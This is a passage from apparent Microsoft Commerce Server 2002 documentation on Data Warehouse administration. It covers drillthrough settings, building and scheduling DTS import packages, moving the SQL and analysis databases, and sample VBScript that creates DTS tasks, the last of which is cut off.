  7. On the Advanced tab, set Enable Drillthrough to True.
  8. In the Cube Editor window, on the File menu, click Save.
  9. On the File menu, click Exit.
  10. In the Analysis Manager window, right-click the same cube that you modified above, and click Manage Roles.
  11. In the Cube Role Manager dialog box, click Edit.
  12. On the Options tab, select the Allow drillthrough check box.
  13. Click OK.
  14. In the Cube Role Manager dialog box, click Close.
  15. In the Analysis Manager window, on the Console menu, click Exit.

See Also

Viewing Dynamic Reports

Features of Dynamic and Static Reports


Using Drillthrough to View Product Sales or Shopping Basket Events

When you use drillthrough to view the details of the Product Sales or Shopping Basket Events report, more items might appear in the details than would be expected from the count indicated in the PivotTable report. This behavior can occur when a product is mapped to multiple categories. This is by design: the product exists in multiple categories under the category currently being examined.

To display correct rollup information in the PivotTable, the Product Sales and Shopping Basket Events reports introduce extra information into the details data. Commerce Server uses this extra data to correctly calculate the aggregate data when it examines sales and events per product category. When you use the drillthrough feature, this hidden data is exposed.

If you want to ensure that only one row is returned for each product in the drillthrough results, you must ensure that each product is mapped to at most one product category. This can be accomplished by using the CSDW_MakePrimaryProductCategoryInfo stored procedure to map each product to its primary parent category. This ensures that each product will be mapped to one and only one category in the category hierarchy.

To specify a product-to-category mapping based on the primary parent category, issue the following command in the SQL Data Warehouse. The Report preparation DTS task will automatically execute this procedure when it is run, creating the new product category tree.

UPDATE StoredProcInfo set [Name] = N’CSDW_MakePrimaryProductCategoryInfo’ where [Name] = N’CSDW_MakeProductCategoryInfo’


Running the Report Caching DTS Task

Note

  • You must install Microsoft Office XP Web Components on the computer that is going to run the Report caching DTS task. Office XP Web Components are installed with Office XP. You can also install Office XP Web Components by running OWC10.exe, which is located in the following directory on the Commerce Server 2002 CD: \Program Files\Microsoft Commerce Server 2002\Widgets\OWC10.

You use the Report caching DTS task to increase the processing speed of the dynamic OLAP reports run from the Business Desk.

The Report caching task pre-executes dynamic OLAP reports stored in the SQL Data Warehouse to get the query results cached on the Analysis server. When this is done, subsequent execution of the reports can be two orders of magnitude faster than the original report execution.

The task queries the ReportPreExec table in the SQL Data Warehouse for a list of reports that are to be pre-executed. It executes only those reports that are of type dynamic OLAP and have ReportIds listed in the table.

You can configure the Report caching task to run in either site mode or Data Warehouse mode.

  • Site mode. The task runs each dynamic OLAP report in the ReportPreExec table, applying the site filter where appropriate for the specified site.
  • Data Warehouse mode. The task runs each report once for each site sharing the Data Warehouse, again applying the site filter where appropriate for each individual site.

The task does not detect if a report execution fails. It ignores the error and proceeds to the next report.

See Also

Troubleshooting the Data Warehouse Import Process


Checking for DTS Task Execution Errors

When you run a DTS task, it might fail to complete properly. A task that fails to complete when the package that contains it is run, is labeled "Failed" in the Executing Package dialog box. You use the Task History to view the history of all tasks run. You can use the Task History to help diagnose problems with DTS tasks that fail.

You use Task History to view task status, and to view tasks in the following ways:

  • Small Icons
  • Large Icons
  • List
  • Detail

The detail view provides the following information about tasks:

  • Description
  • Start time
  • End time
  • Status

To check for package execution errors

  • Expand Commerce Server Manager, expand Global Resources, expand Data Warehouse 1, right-click Task History, click View, and then click Details.

The detailed Task History appears in the right pane.

See Also

Troubleshooting the Data Warehouse Import Process


Creating and Scheduling a Multi-task Package

  • This topic contains procedures describing how to create a single, reusable SQL Server DTS package that contains all of the tasks necessary to import data into the Data Warehouse. Additionally, the package will contain workflow instructions so that the tasks run in the correct order. The package will be stored for reuse, and scheduled to run automatically.

You can use the Data Warehouse resource to create packages containing the following:

  • DTS tasks
  • Workflow instructions

After you create a package that contains DTS tasks and workflow instructions, you can store the package and reuse it. You can run a stored package manually or schedule it to be run automatically.

This example makes the following assumptions:

  • Data will be imported for a single site in the Data Warehouse.
  • You have previously imported each type of the data for the site into the Data Warehouse.

This section contains:

  • Step 1: Create a Package Containing the Commerce Server DTS Tasks
  • Step 2: Add Workflow Instructions
  • Step 3: Execute the Package and Check for Errors
  • Step 4: Schedule the Package for Automatic Execution


Step 1: Create a Package Containing the Commerce Server DTS Tasks

In this step, you create a package that contains all of the Commerce Server DTS tasks necessary to import data into the Data Warehouse and prepare it for analysis. You perform each of the following steps:

  1. Create a package and add the Configuration synchronization task
  2. Add the Web server log import task
  3. Add the Transaction data import task
  4. Add the Product catalog import task
  5. Add the Profile data import task
  6. Add the Campaign data import task
  7. Add the Report preparation task
  8. Add the Report caching task
  9. Save the package

Create a package and add the Configuration synchronization task

  1. Expand Microsoft SQL Servers, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.
  3. On the Task menu, click Configuration synchronization (Commerce Server).
  4. In the Synchronize DW Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for the synchronize task. The maximum number of characters for the description is 255.
    Operation level | Select Site level from the drop-down list to synchronize a site with the Data Warehouse.
    Site name | Select from the drop-down list the site that you want to synchronize with the Data Warehouse.
  5. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  6. Click OK.

Add the Transaction data import task

  1. On the Task menu, click Transaction data import (Commerce Server).
  2. In the Transaction Import Properties dialog box, on the General tab, do the following:
    Use this | To do this
    Description | Type a description for this import task. The maximum number of characters for the description is 255.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the site that contains the data you want to import.
    Incremental load | Select this option to import only new transaction data (based on a previous import).
    Full load | Select this option to import all transaction data.
  3. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  4. Click OK.

Add the Web server log import task

  1. On the Task menu, click Web server log import (Commerce Server).
  2. In the Import Web Server Logs dialog box, do the following:
    Use this | To do this
    Description | Type a description for the import task. The maximum number of characters for the description is 255.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the name of the Web site that contains the log file you are importing.
    Log file path | Type the path of the Web log file you want to import, or click Ellipsis to browse for the log file path.
    Log Files | Click to open the Web Server Log Files dialog box, select the Web log files you want to import from the Web Server Log Files list, and then click OK to return to the Import Web Server Logs dialog box.
    Import all log files since last import | Select this option to specify that all log files created since the last import will be imported.
  3. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  4. Click OK.

Add the Product catalog import task

  1. On the Task menu, click Product catalog import (Commerce Server).
  2. In the Catalog Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task. The maximum number of characters for the description is 255.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the site that contains the data you want to import.
    Incremental load | Select this option to import only new catalog data based on a previous import.
    Full load | Select this option to import all catalog data.
  3. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  4. Click OK.

Add the Profile data import task

  1. On the Task menu, click Profile data import (Commerce Server).
  2. In the Profile Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task. The maximum number of characters for the description is 255.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the site that contains the data you want to import.
    Query interval (mins.) Type the time interval for the import. User data is imported in time intervals to prevent locking the database table. For example, a Web site with 10,000 users would import user data in 15-minute intervals.

    Setting a smaller value will lock the table for a shorter duration but will increase the number of queries against the table and therefore the time the task takes to run. Setting the value to zero will run a single query, locking the table for the entire duration of import but can degrade site performance.
    Import start date | Select from the drop-down calendar a date on which to begin your import.
    Incremental load | Select this option to import only new users (based on a previous import).
    Full load | Select this option to import all user data.
  3. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  4. Click OK.

Add the Campaign data import task

  1. On the Task menu, click Campaign data import (Commerce Server).
  2. In the Campaign Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this import task. The maximum number of characters for the description is 255.
    Operation level | Select Site level from the drop-down list.
    Site name | Select from the drop-down list the site that contains the data you want to import.
  3. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  4. Click OK.

Add the Report preparation task

  1. On the Task menu, click Report preparation (Commerce Server).
  2. In the Prepare Reports Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description of the Report preparation task. The maximum number of characters for the description is 255.
    Site name | Select the site for which you are populating the OLAP cubes.
    Incremental | Select to process the OLAP cubes incrementally.
    Full | Select to process the OLAP cubes in their entirety.
  3. Click OK.

Add the Report caching task

  1. On the Task menu, click Report caching (Commerce Server).
  2. In the Cache Warmer Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description of the Report caching task. The maximum number of characters for the description is 255.
    Site name | Select the site for which you are populating the OLAP cubes.
    Incremental | Select to process the OLAP cubes incrementally.
    Full | Select to process the OLAP cubes in their entirety.
  3. Click OK.

Save the package

  1. On the Package menu, click Save.
  2. In the Save DTS Package dialog box, in the Package name box, type a name for the package, such as <site name>Import.
  3. Click OK.

The package containing the task is saved.


Step 2: Add Workflow Instructions

In this step, you will reopen the package you created in Step 1, and add workflow instructions that control the order in which the tasks in the package will be run.

  1. Expand Microsoft SQL Servers, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Expand Data Transformation Services, and then click Local Packages.
  3. Double-click the package you created.
  4. Hold down the CTRL key and click each task in the following order:
    • Configuration synchronization
    • Web server log import
    • Transaction data import
    • Product catalog import
    • Profile data import
    • Campaign data import
    • Report preparation
    • Report caching
  5. On the Workflow menu, click On Completion.

    Workflow instructions are added to the package.

  6. On the Package menu, click Save.

The package is saved with the workflow instructions.


Step 3: Execute the Package and Check for Errors

In this step, you will run the package and verify that all of the tasks run correctly.

  1. Expand Microsoft SQL Servers, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Expand Data Transformation Services, and then click Local Packages.
  3. Right-click your package, and then click Execute Package.
  4. Check the Executing Package dialog box for failed tasks.

    Note

    • If any of your tasks failed, an error message will appear. Click OK to close the error message.
  5. Click Done to close the Executing Package dialog box.

For information about failed tasks, see Checking for DTS Task Execution Errors.


Step 4: Schedule the Package for Automatic Execution

In this task, you will use SQL Server package scheduler to schedule the package to run automatically.

  1. Expand Microsoft SQL Servers, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Expand Data Transformation Services, and then click Local Packages.
  3. Right-click your package, and then click Schedule Package.
  4. In the Edit Recurring Job Schedule dialog box, in the Occurs section, click Daily, Weekly, or Monthly.
    • If you selected Daily, select the number of days between package executions.
    • If you selected Weekly, select the number of weeks between package executions, and which day of the week to execute the package.
    • If you selected Monthly, select the day, the number of months between package executions, or select the week and day of how many months for package execution.
  5. If you selected Daily, in the Daily Frequency section, select Occurs once and set a time, or select Occurs every and set an interval, and start and end times.
  6. In the Duration section, set a start date, and then select an end date from the drop-down calendar, or select No end date.
  7. Click OK.

The package is scheduled. Remember to check the Task History frequently for failed tasks. For information about using Task History, see Checking for DTS Execution Errors.


Moving the Data Warehouse

You might need to change your original Data Warehouse allocations. For example, your Data Warehouse has outgrown the capabilities of your current machines, or you need to reconfigure the topology to enhance the performance of the Data Warehouse.

The following steps are a brief summary of the actions you will need to take to move your Data Warehouse to new computers with little impact to the current Commerce Server setup:

  1. Ensure that no tasks are currently using or scheduled to use the Data Warehouse during the move.
  2. Decide which parts of the Data Warehouse you want to move. (For example, are you moving the Data Warehouse database only, the analysis database only, or both?)
  3. Back up the current Data Warehouse (or one of its components).
  4. Restore the backed up copy of the Data Warehouse on the new computers.
  5. Update all Data Warehouse connection strings to point to the new locations.
  6. Delete old SQL Server packages/events on the old computers that were created before the move.
  7. Perform an IISReset.
  8. Verify that you can still see your data in the Business Analytics Reports.

This section contains:

  • Best Practices for Moving the Data Warehouse
  • Moving the Contents of the Data Warehouse
  • Updating Data Warehouse Connections


Best Practices for Moving the Data Warehouse

Before you move the Data Warehouse, make sure that:

  • The computers to which you are moving the Data Warehouse satisfy the established Commerce Server platform requirements.
  • You have a Commerce Server site installed and functioning properly before the move takes place.
  • You have full access to all of the computers from which and to which you are moving the Data Warehouse (for example, you have full SQL Server access and Administrator privileges on all computers).
  • No sites have tasks scheduled to run on the Data Warehouse you are moving while you are moving it.


Moving the Contents of the Data Warehouse

This section explains the process of physically moving your Data Warehouse from one computer (or set of computers) to another. The Data Warehouse includes both the SQL Server database (by default, this database is named <site name>_dw) and the OLAP database used for reporting.

Moving the Data Warehouse Database

Moving the Analysis Database

Updating the Data Warehouse Connections

Moving DTS Packages

Cross Domain Computer Configurations

Moving the Data Warehouse Database

There are four steps to moving the Data Warehouse database:

  1. Detach the database.
  2. Copy the database files.
  3. Paste the database into the new location.
  4. Attach the database.

Important

  • Before you move a SQL Server database, make sure you do not have any tasks scheduled to run at that time in the SQL Scheduler.

To detach a SQL Server database

  1. In Commerce Server Enterprise Manager, expand Microsoft SQL Servers, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to move, and click Properties.
  3. In the <database> Properties dialog box, on the Data Files tab, in the Database Files section, in the Location column, read the full path of where the <site name>_dw database files are stored on your hard drive. Write down the location of both the .mdf and the .ldf files.
  4. Click OK to close the Properties dialog box.
  5. Right-click the database you want to move, point to All Tasks, and then click Detach Database.
  6. In the Detach Database - <database> dialog box, check the Database status section to make sure that there is no current database activity or connections using the database.
  7. Click OK to complete the detach process, and click OK again to close the confirmation box.

To copy a SQL Server database

  1. On your desktop, right-click My Computer, and then click Explore.
  2. In the My Computer browser window, navigate to the location of the <site name>_dw file.
  3. Copy the following files to the media you will use to move them to the new location:
    • <site name>_dw.mdf
    • <site name>_dw.ldf
Note
  • The Data Warehouse requires both the files <site name>_dw.mdf and <site name>_dw.ldf.

To paste the SQL Server database on the new computer

  1. On the destination computer desktop, right-click My Computer, and then click Explore.
  2. In the My Computer browser window, navigate to the location where you want to paste the database files, and then paste the database files (<site name>_dw.mdf and <site name>_dw.ldf) into the new location.

To attach the database on the new computer

  1. In Commerce Server Enterprise Manager, expand Microsoft SQL Servers, expand a server group, and then expand a server.
  2. Right-click Databases, point to All Tasks, and then click Attach Database.
  3. In the Attach Database dialog box, type the location of the .mdf file of the database you are attaching.
  4. In the Original File Name(s) column, verify that both the .mdf and the .ldf files for the database are listed.
  5. In the Attach as box, verify the name of the database.
  6. Click OK to attach the database, and click OK a second time to close the confirmation box.

Moving the Analysis Database

There are three steps to moving the Analysis Database:

  1. Archive the analysis database.
  2. Restore the analysis database into the new location.
  3. Process the virtual cubes.

To archive the analysis database

  1. In Commerce Server Enterprise Manager, expand Microsoft SQL Servers, expand Analysis Servers, expand a server group, right-click the analysis database you want to move, and then click Archive Database.
  2. In the Archive Database dialog box, in the Save In box, type the location to which you want to save the archived database. Write down the location.
  3. Click Archive.
  4. In the Archive Database Progress dialog box, click Close.

To restore the analysis database on the new computer

  1. In Commerce Server Enterprise Manager, expand Microsoft SQL Servers, expand Analysis Servers, expand a server group, right-click the node of the local computer where you want to add the analysis database, and then click Restore Database.
  2. In the Open Archive File dialog box, navigate to the location to which you archived the analysis database, select the .cab file you originally selected as the archive file for your analysis database, and then click Open.
  3. In the Restore Database dialog box, click Restore to complete the restore process.
  4. In the Restore Database Progress dialog box, click Close.

After you restore the analysis database, you must process the virtual cubes.

To process the virtual cubes

Note

  • You must individually process all virtual cubes to complete the move.
  1. In Commerce Server Enterprise Manager, expand Microsoft SQL Servers, expand Analysis Servers, expand a server group, expand Cubes, and then right-click the virtual cube you want to process.
  2. In the Process a Cube dialog box, click OK to process the cube.
  3. In the Process dialog box, click Close.


Updating the Data Warehouse Connections

After moving the Data Warehouse to new computers, you must update the Data Warehouse connection information. There are three places where the Data Warehouse connection information needs to be updated:

  • Data Warehouse global resource
  • Analysis database
  • Data Warehouse database

Important

  • Always check the connections in Commerce Manager, Analysis Manager, and Enterprise Manager to ensure you have set the proper connection information.
  • Always perform an IISReset after changing any passwords. This will ensure that Business Desk has not cached any connection information during the move process.

To update the Data Warehouse global resource connection strings in Commerce Manager

  1. In Commerce Server Enterprise Manager, expand Microsoft SQL Servers, expand Global Resources, right-click the Data Warehouse global resource, and then click Properties.
  2. In the Data Warehouse Properties dialog box, on the SQL Server tab, do the following:
    Use this | To do this
    User ID | (For SQL Server Authentication only) Type the user ID for the SQL Server Administrator.
    Password | (For SQL Server Authentication only) Type the password for the SQL Server Administrator.
    Server | Type the name of the computer where the Data Warehouse is now located.
    Database | Type the name of the Data Warehouse database.
  3. In the Data Warehouse Properties dialog box, on the Analysis Server tab, in the Primary Analysis Server section, do the following:
    Use this | To do this
    Server | Type the name of the computer where the Data Warehouse is now located.
    Database | Type the name of the analysis database.
  4. In the Data Warehouse Properties dialog box, on the Analysis Server tab, in the Secondary Analysis Server section, do the following:
    Use this | To do this
    Server | Type the name of the computer where the Data Warehouse is now located.
    Database | Type the name of the analysis database.
  5. Click OK.

To update the analysis database connection information in Commerce Manager.

  1. In Commerce Server Enterprise Manager, expand Microsoft SQL Servers, expand Analysis Servers, expand a server group, expand the analysis database, expand Data Sources, right-click COMMERCE_DataWarehouse, and then click Edit.
  2. In the Data Link Properties dialog box, do the following:
    Use this | To do this
    Select or enter a server name | Type the server name.
    User name | (For SQL Server Authentication only) Type the user ID for the SQL Server Administrator.
    Password | (For SQL Server Authentication only) Type the password for the SQL Server Administrator.
    Select the database on the server | From the drop-down list, select the analysis database.
  3. Click Test Connection.
  4. Click OK to close the confirmation box.
  5. In the Data Link Properties dialog box, click OK.

The analysis database is connected to the Data Warehouse in the new location.


Moving DTS Packages

If you had existing DTS packages for this Data Warehouse in the original Data Warehouse location, you will need to delete them and create new ones in the new location. This will ensure that no legacy Data Warehouse connection information has been stored somewhere unexpectedly.


Cross Domain Computer Configurations

If you decide to move part or all of the Data Warehouse to another domain, you will need to do the following:

  • If you installed SQL Server with Windows Integrated security, make sure that all relevant users have access to that domain.
  • Configure the analysis server to view OLAP over HTTP. This is necessary to view dynamic reports. For information, see Accessing the Analysis Server Over HTTPS.


Scripting DTS Tasks

Commerce Server Data Transformation Services (DTS) tasks import and change data in the Data Warehouse. You can run the DTS tasks by using SQL Server, or you can develop scripts to create and run the tasks through the command line.

In Commerce Server 2000, you could run the DTS tasks by using scripts, but you could not create DTS tasks and packages by using scripts because the parameters used by these tasks and packages were not exposed. This meant that site developers or system administrators had to manually create each package through SQL Server before they could script its automation.

In Commerce Server 2002, the parameters for the DTS tasks are exposed, so site developers or system administrators can automate creating and scheduling the DTS packages for each new client, minimizing the time needed to run all the tasks.

Each script creates a single package for each DTS task. Multiple tasks can be loaded into a single package. For more information about creating multi-task DTS packages, see SQL Server Help.

Certain DTS tasks extend the database tables during configuration and execution of the task. The SQL Server operations involved in extending the database tables require the user to be in the appropriate SQL role. For more information about user roles, see the SQL Server Books Online.

This section contains:

  • Scripting the Configuration Synchronization DTS Task
  • Scripting the Web Server Log Import DTS Task
  • Scripting the Transaction Data Import DTS Task
  • Scripting the Product Catalog Import DTS Task
  • Scripting the Profile Data Import DTS Task
  • Scripting the Data Deletion DTS Task
  • Scripting the Campaign Data Import DTS Task
  • Scripting the IP Resolution DTS Task
  • Scripting the Model Builder Import DTS Task
  • Scripting the Report Preparation DTS Task
  • Scripting the Report caching DTS Task


Scripting the Configuration Synchronization DTS Task

The following script creates and runs the Configuration synchronization DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSSyncAdminData object, see DTSSyncAdminData Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'**********************************************************************
' Configuration Synchronization DTS Task
' This script creates a DTS package and runs it.
'**********************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Configuration Syncronization DTS Task"
oPackage.Description = "Synchronizes the Data Warehouse with your Commerce Server application after you make changes to configuration settings."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSSyncAdminData")
oTask.Name = "Task1"
oTask.Description = "Creates a task for ConfigSync DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set Configuration Synchronization DTS task properties.
'*******************************************************************
oTaskProps("SourceType").value = 0
' Make sure the SourceName is set to the correct site.
oTaskProps("SourceName").value = "RetailSite"
oPackage.Tasks.Add oTask

' ******************************************************************
' Create a step.
' ******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in VB, the steps cannot run on a secondary
' thread.

oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Scripting the Web Server Log Import DTS Task

The following script creates and runs the Web Server Log Import DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSLogImport object, see DTSLogImport Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'******************************************************************
' Web Server Log Import DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
set oPackage = WScript.CreateObject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Web Server Log Import task "
oPackage.Description = "Defines and imports Web log files."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSLogImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for WebLogImport DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set Web Server Log Import DTS task properties.
'*******************************************************************
oTaskProps("SourceName").value = "BlankSite"
oTaskProps("SourceType").value = 0

'ReadInfoFromAdmin property is:
'True: if Logimportfiles are to be selected automatically from the log file directory for each web server
'False: if LogImportfiles are to be specified manually.

oTaskProps("ReadInfoFromAdmin").value = True
oTaskProps("ImportAllLogsSinceLastImport").value = TRUE

'*******************************************************************
' Set the log file path.
'*******************************************************************
'This property is used if the ReadInfoFromAdmin = True. Ignored otherwise.
Dim vData
ReDim vData(0)
vData(0) = "LDS for MachineXYZ/Default Web Site|C:\LogFilePath\ex990402.log"
oTaskProps("VLogFileInfo").Value = vData
oPackage.Tasks.Add oTask

' ******************************************************************
' Create a step.
' ******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in VB, the steps cannot run on a secondary
' thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Scripting the Transaction Data Import DTS Task

The following script creates and runs the Transaction Data Import DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSTransactionImport object, see DTSTransactionImport Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'******************************************************************
' Transaction data import DTS Task
' This script creates a DTS package and runs it.
' Note: This DTS task cannot be run on a computer that only has the
' Commerce Server 2002 Business Analytics Stand-Alone feature
' installed. This DTS task gets the required connection strings for
' both the Commerce database and the Data Warehouse from the
' Admin object based on the site name set in the script.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps

Dim iStatus
Dim i
Dim DTSStepExecResult_Failure

DTSStepExecResult_Failure  = 1

'On Error GoTo PackageError:

set oPackage = CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Transaction Data Import DTS Task"
oPackage.Description = "Defines and imports transaction data."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSTransactionImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for TransactionDataImport DTS"
Set oTaskProps = oTask.Properties

' Set Transaction Data Import DTS properties
' Incremental import = 100
' Full Import= 0
oTaskProps("ProcessingType").value = 0

' 0 for the site level import and 1 for the Data Warehouse level import
oTaskProps("SourceType").value = 1

' Make sure SourceName is set to the correct Web site or Data Warehouse
' name.
oTaskProps("SourceName").value = "Data Warehouse 1"

' Number of connection retries and the delay between each retry in
' seconds in case of a connection failure.
oTaskProps("NumRetries").value = 10
oTaskProps("RetryInterval").value = 20
oTaskProps("QueryInterval").value = 25

oPackage.Tasks.Add oTask
'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in Visual Basic, the steps cannot run on a
' secondary thread.
oStep.ExecuteInMainThread = True

oPackage.Steps.Add oStep

' ******************************************************************
' Execute the Package
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " + _
            oPackage.Name + " failed."
        End If
    Next

MsgBox oPackage.Name + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Scripting the Product Catalog Import DTS Task

The following script creates and runs the Product Catalog Import DTS task. This script can be used to create a package containing the DTS task to be run. The sample script can be run in two different ways. You can run the package on the command line by using the command DTSRun.exe. The file DTSRun.exe is automatically installed on your server when you install SQL Server. Or you can copy the script into a Visual Basic script file (.vbs) and run it by using cscript, for example, <drive>:cscript <filename>.vbs.

To successfully complete the import of data into the Data Warehouse, run the DTS tasks in the following order:

  1. Configuration Synchronization
  2. Web Server Log Import
  3. Transaction Data Import
  4. Product Catalog Import
  5. Profile Data Import
  6. Campaign Data Import
  7. Data Deletion
  8. Model Builder
  9. IP Resolution
  10. Report Preparation
  11. Report caching

For more information about the DTSCatalogImport object, see DTSCatalogImport Object.

For a description of this DTS task, see Commerce Server DTS Tasks.

'******************************************************************
' Catalog Data Import DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
Dim DTSStepExecResult_Failure
Dim iStatus
Dim i

DTSStepExecResult_Failure  = 1
'On Error GoTo PackageError:
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Catalog Import DTS Task "
oPackage.Description = "Imports catalog data."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSCatalogImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for ProductCatalogImport DTS"
Set oTaskProps = oTask.Properties

' Set Catalog DTS properties
' Incremental import = 100
' Full Import= 0
oTaskProps("ProcessingType").value = 0

' 0 for the site level import and 1 for the Data Warehouse level import
oTaskProps("SourceType").value = 0

'You can either import at the site level or the Data Warehouse level
oTaskProps("SourceName").value = "BlankSite"

' Number of SQL Server retries in case of SQL Server failure
oTaskProps("NumRetries").value = 0
oTaskProps("RetryInterval").value = 20

'**********************************************************************
' Set the catalog dimensions you want to import
'**********************************************************************
oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
